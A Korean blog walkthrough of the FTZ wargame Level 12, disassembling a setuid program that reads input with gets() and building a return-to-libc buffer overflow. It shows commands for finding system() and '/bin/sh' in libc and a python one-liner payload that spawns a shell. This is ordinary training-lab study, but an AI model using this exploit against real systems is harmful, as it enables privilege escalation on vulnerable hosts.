일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | 3 | 4 | 5 | 6 | 7 |
8 | 9 | 10 | 11 | 12 | 13 | 14 |
15 | 16 | 17 | 18 | 19 | 20 | 21 |
22 | 23 | 24 | 25 | 26 | 27 | 28 |
29 | 30 | 31 |
- #Best of the Best #OS #MINT64 #Sqix
- #
- FTZ 레벨2
- BEST of the BEST
- 오버워치
- Network
- ftz
- vi
- libpcap
- Overwatch League SaberMetrics
- linux
- 오버워치 세이버메트릭스
- command
- Sqix
- libtins
- #Qt Creator
- >
- #MINT64 #Sqix
- KASAN
- 인터럽트
- vim
- Find
- #IntelManual #segment Descriptor #세그먼트 디스크립터 #MINT64 #Sqix
- #IntelManual
- C++11
- vi 외부 명령어
- Today
- Total
Sqix
FTZ Level12 본문
이번에도 BOF 문제입니다. 마찬가지로 소스코드를 복사해서 tmp에 생성하고 디버깅을 해 보도록 합시다.
우선 main함수를 리버싱해 보겠습니다.
0x08048390 <main+0>: push %ebp
0x08048391 <main+1>: mov %esp,%ebp
0x08048393 <main+3>: sub $0x108,%esp
0x08048399 <main+9>: and $0xfffffff0,%esp
0x0804839c <main+12>: mov $0x0,%eax
0x080483a1 <main+17>: sub %eax,%esp
스택 프레임을 생성하고, 스택 공간을 264byte 만큼 확보(char str[256] + dummy 8 bytes)하고, 플래그들을 정리해 줍니다.
0x080483a3 <main+19>: sub $0x8,%esp
0x080483a6 <main+22>: push $0xc15
0x080483ab <main+27>: push $0xc15
0x080483b0 <main+32>: call 0x80482d0 <setreuid>
0x080483b5 <main+37>: add $0x10,%esp
0x080483c8 <main+56>: sub $0xc,%esp
0x080483cb <main+59>: lea 0xfffffef8(%ebp),%eax
0x080483d1 <main+65>: push %eax
0x080483d2 <main+66>: call 0x80482a0 <gets>
0x080483d7 <main+71>: add $0x10,%esp
gets로 받아온 값을 출력해줍니다.
0x080483f1 <main+97>: leave
0x080483f2 <main+98>: ret
0x080483f3 <main+99>: nop
스택프레임 종결부분입니다.
우선 A를 264개 넣고 분석을 해 보겠습니다.
스택의 구성은 저번 문제와 크게 다르지 않은 것 같습니다.
[ BUF(256) ] | [ DUMMY(8) ] | [ SFP ] | [ RET ] | [ dummy ] | [ ARGV ]
exploit하기 위해서는 SFP까지 덮어주고, RET를 System으로 변경해 준 뒤, 다시 dummy를 덮고, ARGV에 /bin/sh를 넣어 주면 shell을 딸 수 있습니다.
$ objdump -d /lib/tls/libc.so.6 | grep __libc_system
$ strings -atx /lib/tls/libc.so.6 | grep "\/bin\/sh"
이를 통해서 system()함수의 주소와 /bin/sh의 주소를 구할 수 있습니다. (라이브러리 ASLR이 걸리지 않았기에 가능한 방법입니다.)
이를 기반으로 Attack code를 작성하면
$ (python -c 'print "A" * 268 + "\xc0\xf2\x03\x42" + "AAAA" + "\xa4\x7e\x12\x42"'; cat) | ./attackme
가 됩니다.
'Wargame > FTZ' 카테고리의 다른 글
FTZ Level14 (0) | 2018.07.10 |
---|---|
FTZ Level13 (0) | 2018.06.29 |
FTZ Level11 (0) | 2018.06.18 |
FTZ Level10 (0) | 2018.06.18 |
FTZ Level9 (0) | 2018.06.18 |